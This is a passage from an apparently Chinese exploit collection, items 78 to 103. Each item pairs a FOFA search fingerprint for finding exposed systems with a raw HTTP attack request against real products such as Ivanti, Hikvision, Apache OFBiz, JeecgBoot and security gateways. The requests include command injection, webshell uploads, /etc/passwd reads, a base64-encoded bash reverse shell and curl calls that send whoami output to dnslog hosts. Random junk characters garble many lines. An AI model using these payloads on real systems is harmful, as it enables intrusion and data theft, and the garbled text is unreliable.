/ f, N6 D$ A- |" C' C2 kContent-Disposition: form-data; name="folder"
1 B% e  X/ `1 l" m, d
/upload/udplog
9 T4 [0 O; c3 m% d/ f& W------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream
' Y: Q- s+ h2 Q+ a% J$ x- Y7 p6 V
hello1234567
( ~2 y7 U! t8 |6 x------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
9 F/ R  |! [3 O/ ]$ i8 q
4 \" \& d. _  `! s" HSubmit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
$ ?& O# u/ Y9 u  }! i8 p2 D
+ \/ i3 r( p* Y) D7 }
- Q$ S- Q" ?/ E7 e8 o; R& {  i+ K, O78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
* v3 \5 z0 A( w6 nConnection: close
Content-Length: 336
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

# _) q6 ^; y( }$ p3 p3 s------YsOxWxSvj1KyZow1PTsh98fdu6l
2 ]5 B. ?! N' QContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png
, i1 o4 d3 W/ ]
YsOxWxSvj1KyZow1PTsh98fdu6l
1 [! d4 M) W4 L------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="target"
# w2 I7 S" s% v3 S8 N0 ]
/Applications/SkillDevelopAndEHS/
' N6 Y7 A( ^: R+ x6 d! w0 O------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
' H7 l6 M* F' x' \Host: x.x.x.x


7 u' o, J& K6 L5 b$ _' M3 N1 M79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
6 W; p1 U6 k+ n. iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
% q% r( K& ~' ~" s; X  s2 _; W7 P2 lAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; A1 W6 k. }7 X0 C$ vAccept-Encoding: gzip, deflate
+ C% ?' u( D" jConnection: close
Upgrade-Insecure-Requests: 1
( Y: k- I& k% c) _) x2 ]0 c
6 I3 H- F$ R. l$ p( ]9 Y
80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
% i) Y% `6 ?/ c# ?" j* A5 K6 nPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
8 v1 a) b# ~) g4 m/ u5 R" W* eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 k7 y7 [" }3 N: `% {; @& t# qContent-Length: 27
: p, l- |9 K; I( \1 o- z. pAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  A" R6 r5 v/ i5 j8 K0 ~Accept-Encoding: gzip, deflate
" N* @+ s: ]2 M4 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 d# r% `# _: H! c3 N4 O$ k! {6 M) XConnection: close
( H% d. A8 W+ j, N; d4 ~Content-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>
/ t+ A8 X% b" U1 T

GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
' f) d/ d) P6 E& H+ lAccept-Encoding: gzip
/ Q) D3 ], G. W9 R& l; a$ H9 r1 P
6 x0 h* P" n. Z6 v7 M' j1 r
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
6 Q/ e2 R$ w+ Z: _2 L5 MFOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
' C7 w! ]+ k' p) rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
; m" Y4 H1 P  v* M$ B# z% J' QConnection: close
4 ^' [2 ?4 I6 u9 [* }' CAccept-Encoding: gzip


- o& X% `- p  k) O* \5 O8 q82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
0 T$ ]+ W3 s5 x9 D: n+ DFOFA：app="思福迪-LOGBASE"
( n. a1 F! \/ |/ YPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
6 e7 _) z4 A7 ^$ y) N9 CUser-Agent: Go-http-client/1.1
Content-Length: 23
( A- n7 r. S+ kAccept-Encoding: gzip
- O2 n; x. E4 ~( R: \; J. ]Connection: close
" @3 A- \2 n, S+ X7 sContent-Type: application/x-www-form-urlencoded
; P0 ^8 H* o# ^Referer: BaseURL
$ E$ a2 Y$ }& O& h  ^; b0 D9 l5 M" u# _
z1=1&z2="|id;"&z3=bhost

# k6 v7 G" c& j0 W* p2 J) d, M0 Y
/ e7 G( X# P# [- [0 n/ W83. JeecgBoot testConnection 远程命令执行
/ L) f2 p- H! [. j+ `$ n# C6 P( qFOFA：title=="JeecgBoot 企业级低代码平台"
1 Z" N, N, F3 w9 G7 S) S. B1 Q

POST /jmreport/testConnection HTTP/1.1
9 K4 C, \. [0 z0 r6 r* m' eHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
8 o, Q; V& K2 H& a3 ]Cmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
1 U2 s4 p  \% ]# k' |! d- c2 g
PAYLOAD
) B# G7 T. f( E5 g+ ~
  I8 C; J; l( D; B, v84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
$ C7 T0 t( I2 y7 s) T& {  p; ?. C
" `) ]+ B' Q: A7 D' V* i9 ]
' C. V3 _9 j3 `; E, y0 W: }- E9 ~5 q
1 n/ F/ V& E9 L6 aPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
! \3 B9 }( q: c1 }9 K. G, j+ KUser-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
4 A4 _/ N' z! r8 [" W6 Y( SConnection: close
# ^3 q/ A! p( B" ?8 i: AContent-Type: application/json
: D% L4 N8 w' C1 }1 s& s9 YAccept-Encoding: gzip

# P7 c8 u' C" v- ]9 I' h{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
' z# r9 W  B4 N" p$ j3 k& @  "type": "0"
- ?% E8 b3 h5 [  |2 w. \}
, n; O* ]- a; J1 T9 ?+ I7 f7 m
; u  e9 T; E# i' k
* X6 C; p5 a' p' S6 O85. SysAid On-premise< 23.3.36远程代码执行
% R7 Z1 `# D' H+ O$ fCVE-2023-47246
9 _7 Y" m$ J0 Q+ g1 f; fFOFA：body="sysaid-logo-dark-green.png"
4 J; O; Y& o' O8 |6 e8 u- yEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
# W. J" Z1 X2 _" s' @3 g, w& y& a- zAccept-Encoding: gzip

PAYLOAD

  t! Q: s  R  R0 D4 \$ D& a回显URL：http://x.x.x.x/userfiles/index.jsp

/ o: N% J# I2 T3 ^: q: t1 B% m86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
9 D+ S/ k2 M6 b6 V1 }2 C' }POST /cgi-bin/network_test.php HTTP/1.1
Host: x.x.x.x
$ f4 N2 ~1 g7 I, `/ N' LUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
: D* j% @6 L6 y/ |  g9 w* tAccept-Language: en
Content-Type: application/x-www-form-urlencoded
' h; L4 A, k0 P. C
host=%0acat${IFS}/etc/passwd%0a&command=ping
/ G9 X" L" R* g! ~
; R  L' b. Y: p
87. 安恒明御安全网关aaa_local_web_preview文件上传
% y4 j# R" \3 R( ?- X8 lFOFA：title="明御安全网关"
" ~. L  B3 B: n$ s6 @POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
1 K& m) r" p4 ?! {9 OConnection: close
Content-Length: 198
Accept-Encoding: gzip
1 U5 A" y1 L5 `* Q9 b! l9 U9 eContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
, W' x8 L6 i1 }; c+ T5 p  i
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
  X3 |9 `8 W8 mContent-Type: text/plain

2ZqGNnsjzzU2GBBPyd8AIA7QlDq
5 B2 K1 w! t8 v! U! @--qqobiandqgawlxodfiisporjwravxtvd--
* S. |1 r: g  c
, b; @# z5 l6 Y. T
/jfhatuwe.php

# X2 E7 k+ {  K88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
1 D8 }8 u, ^6 L5 h. H0 `FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
, O7 E& ~4 v# HHost: x.x.x.xx.x.x.x
7 l; G. H0 f1 ?* ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
% _1 W+ o; x1 ]" SAccept-Encoding: gzip, deflate
# |3 a4 q. W# l. V; T9 u0 [  pAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
' B4 n/ s- p7 ]7 B
- k/ }6 W3 }3 c" v
/astdfkhl.php

% h) h, |* _' i( e8 O2 j: I1 B+ ]89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
, ?* v/ t& O3 X% T' ~POST /sysform/003/editflow_manager.js%70 HTTP/1.1
Host: x.x.x.x
2 O9 f. M8 @# |# w3 \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
0 v4 H$ Q% f; ^& l" |  d
% W! \- a+ L; {9 O2 f
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
+ q5 A0 K7 J% A4 p' \FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
- K( X* n* O! h9 C4 [3 a; dHost: x.x.x.x
- U9 d! ?( C' f, V0 z+ P7 G$ oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
- t8 [( Y* z# c3 T5 G8 u2 z8 \Content-Length: 51
5 y# P. X- e2 ~Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; x. r  |" e$ d& o; }Connection: close
% s; e- z1 E+ s/ u" [+ \Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

9 ?: {: C. I, Q- Ujsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
* I% J( D6 K6 J9 J- ?

  U2 f- F$ K( N) J5 \. w+ C91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
+ q$ V4 f9 v  L; _+ ?9 n. ^  yHost: your-ip
8 L* P* H7 Z# l# o8 CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
& k# R  d: M* L& y  L5 }3 I$ x, u" LConnection: keep-alive



1 l& n" v0 E# b4 b- D* P% ~92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
9 k! u7 r6 [1 \" i; r; VPOST /center/api/session HTTP/1.1
% t+ z5 {: N2 R# Y5 pHost:
& j8 h1 F1 z( `5 l# q. w  p3 z: aAccept: application/json, text/plain, */*
' A& _+ R6 _, r4 C( {8 WAccept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
* W  Q. l+ T& q4 w" U& k7 L& Y+ sContent-Type: application/json;charset=UTF-8
, P, i3 K' O$ A. k6 J( Z- HX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
& i3 O( b! j: h( i( |/ y3 TAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
" P, s0 H" ~$ l+ U/ c
PAYLOAD

4 Q1 M: R/ z5 G( U) r
" a+ r& j! D  C) l4 `* S* ^93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
7 M6 K  L& O: X* c2 vHost: x.x.x.x
, |1 g$ l3 j+ \6 O6 E8 Z( a9 TContent-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
* u3 O* [! {# kUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

2 s$ m* S* N" `3 n! d4 x( j------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
. d  e" C1 Q% a3 L1 A
10000000
------WebKitFormBoundarykcbkgdfx
1 [9 U" f. n3 Z" \* P5 k7 ?Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
& T# j: A+ _# ^! V, X; u" y- ]Content-Type: text/plain

  l( T+ s& _5 B; n8 G+ i. Awagletqrkwrddkthtulxsqrphulnknxa
  q& F5 R' l* S. q, Y! \; K------WebKitFormBoundarykcbkgdfx
/ n! c1 ?8 v: @( \& G8 sContent-Disposition: form-data; name="submit_post"

obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
9 {# P- r' A# k' d3 q
3 C6 y5 j( L' ^8 C0 z0b9d6b1ab7479ab69d9f71b05e0e9445
- B4 p9 c! ^0 @. D1 T8 e. u4 J) E( p2 B------WebKitFormBoundarykcbkgdfx--
* k% _8 \5 o6 g/ W' u9 @" T$ i* O7 P

, R+ X, _# P* \# ]' W3 zGET /attachements/xlskxknxa.txt HTTP/1.1
, n1 g) t% b  g  JHost: xx.xx.xx.xx
/ P+ e5 @( S1 }7 R$ [, QUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
. L) K& }  Q& k* z4 D, a6 t
0 J. \/ k) t% M) q; O7 R
; X+ @8 h1 w5 q/ @7 Z94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
" |2 M3 f- j: t: K: Z# @/ [3 ^Host: x.x.x.x
% W6 }( ]3 y$ @5 kContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

. j6 V$ D9 G) Q* I9 |# y$ d------WebKitFormBoundarybqvzqvmt
, [" G$ W$ K2 o% V2 wContent-Disposition: form-data; name="MAX_FILE_SIZE"
* F' ]5 r8 }& Q, U4 g
! V. J1 E" h& _5 A7 c10000000
------WebKitFormBoundarybqvzqvmt
( L6 O1 r: e6 nContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain
9 f& ^& N3 T4 b! r/ }
/ Q' w9 k4 N0 I( h/ F: S! i& Spxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
/ s2 {2 O* L. j, r
obj_app_upfile
; B+ f( _, I# ~& F) y, @- }/ j2 z------WebKitFormBoundarybqvzqvmt
, o& o8 |6 A1 R: i+ p" wContent-Disposition: form-data; name="__hash__"

  }( @  n0 p* H- D0b9d6b1ab7479ab69d9f71b05e0e9445
/ x- Y/ B! Q4 P------WebKitFormBoundarybqvzqvmt--
0 k1 \% u* k: E* Q) R
7 I1 Y6 t+ r6 K* P
/ |: ~" U  y  t: j
GET /attachements/xlskxknxa.txt HTTP/1.1
7 R+ f: r0 Q  E" fHost: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


/ k* w) q1 b1 u0 ?0 T. F2 w
95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
$ o- }# o3 g' fFOFA：app="Apache_OFBiz"
0 F0 f  v) R! ?- R& E+ e0 _8 ^POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
" G- y; a; {- s. h5 p; O. @! TContent-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
) M5 ?2 o! s; I
/ X0 Z- j2 m5 p* o<?xml version="1.0"?>
7 |9 U& U- `2 t* l<methodCall>
: Y9 I2 J6 [0 K- O: [" X8 `   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
5 H! A& q/ q( H. T6 T4 y6 ^    <params>
      <param>
; t$ D1 n* @/ F      <value>
        <struct>
       <member>
          <name>test</name>
          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
3 @  u. v+ G& \9 m        </member>
% f; ^, D& ]! h& |9 i6 l! E2 F5 K# b      </struct>
      </value>
8 K& P" c) C1 ^    </param>
$ }1 s( s  D3 i; @( R" E    </params>
</methodCall>

. r& v& _7 L# ?5 ?% C+ d
# d0 F$ Q8 r5 Z, I用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

0 X5 Y" n( M8 Q* n; H# I0 H8 Z
" R* d4 V! n; x3 f将生成的payload替换到上面的POC
" p0 O) @9 _  m; HPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
% m# _# K) i3 Q3 `User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
" ?. Z5 o4 t  m* eConnection: close
Content-Length: 889
+ S+ S! n9 s* H6 I" J% uContent-Type: application/xml
Accept-Encoding: gzip
2 g2 _) ^' P0 x' j: u$ u3 P9 O
, d+ P9 H- ^  ^& A# B/ GPAYLOAD
* R$ b: n, |8 @
! B6 \; ~  d2 _9 e8 \( H' M: C& `' v96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: ~& B& G" U8 b7 UAccept: */*
* O9 \9 B! i! k/ v! u% JAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
/ E- @- y5 ]) h( H9 ?' ]! z* f/ c- ^7 eContent-Type: application/x-www-form-urlencoded
7 z/ o! \  S5 M8 ~4 [Content-Length: 55
* N. @8 w+ c0 K* }
groovyProgram=throw+new+Exception('id'.execute().text);
5 |  p) \) [9 b" K6 _# H! V

+ ]& Y( U3 ?& V: J) E* s0 O" z1 o反弹shell
# j8 c, z2 g- C, s) C在kali上启动一个监听
nc -lvp 7777
' ?7 J2 V9 I) n. r
9 F/ f  u' W* s; vPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
" d5 C) Z0 q" G& yAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 Z" u! K" {$ c: VContent-Type: application/x-www-form-urlencoded
Content-Length: 71

, L/ Y  t, ~% C2 P1 P* VgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
  S9 P3 D% `; u( j6 ]Host: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
8 X" ]5 A: _" ?; J2 ^Connection: close
: Q( _0 r9 }' Q- M0 nCookie: rememberMe=PAYLOAD
4 ~0 p5 ~) c4 q7 j7 [9 cX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
+ p1 D) q* q' D% Z: o

98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
8 g9 O  x- L1 I& u  S6 xPOST /function/save HTTP/1.1
6 x7 ]; g0 _" t/ w! Y: }+ V3 }Host: 192.168.40.130:8088
; c. @. j% B: q$ F/ L! oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# ~  l  D) o/ `% mConnection: close
Content-Length: 121
Accept: */*
0 d( U4 q$ M5 S4 vAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' \# K) k) P2 H: c; ]Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

& W  Y) Y/ ^3 }# i# xid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B


  ?7 h4 |5 }5 H99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 K: K- g& |% J% R& q- ?Connection: close
Content-Length: 154
Accept: */*
Accept-Encoding: gzip, deflate
& m1 X$ \. H4 \9 hAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
# E2 [. r9 w6 a, E0 ^" U  r  LX-Requested-With: XMLHttpRequest

" G- ]' A" g% Y3 `%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D

: z1 _$ ]0 U- }& f
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
5 x2 F+ F  b, x; `: T$ V- c* O9 H; iFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
Host: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
+ \# R0 ^9 h( V$ i+ l; }Connection: close
) U2 G$ I0 Q4 `# V; d0 @5 I% uContent-Length: 201
% N4 |& h' F0 o7 ~3 QContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip

, q4 h( a' v. t1 H9 O6 ?; B------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
Content-Type: application/x-php
" r) z3 w. Y/ e. g' ~  y$ ^- a$ a
1 A; S( J) g$ G8 F2ayyhRXiAsKXL8olvF5s4qqyI2O
7 ^% i- s: B0 w! F% }8 a# y7 H* `" [------WebKitFormBoundarygcflwtei--
" R) M" X; c  L( {0 z3 @

101. ivanti policy secure-22.6命令注入
CVE-2024-21887
2 c& g. j, h- \* [; Q/ Q7 d% JFOFA：body="welcome.cgi?p=logo"
+ h) ?8 V+ {1 I8 p0 e5 c# f0 JGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
1 M, s5 w# n$ ~, v  g2 uHost: x.x.x.xx.x.x.x
9 h( s3 _. C6 |3 Q( ^) T1 `' i; N/ EUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
6 d8 m; k7 ], m7 m3 aConnection: close
6 P# I% D( F# T- X- K- [) {Accept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
! `8 L* k1 n" E! ^" n6 r" V( qCVE-2024-21893
FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
0 v" L: s: G5 b" D. YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
, x" E9 \3 P% z' CConnection: close
9 k' v. ]6 {! T4 mContent-Length: 792
Accept-Encoding: gzip
  H. k6 E' q4 j$ @! l8 U) B
# D8 j# F: v* P8 h<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
- [. s: v; h7 S
6 [1 l1 y% Q2 D103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
# q! T* `% R* q: W  u% o7 ^! jPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
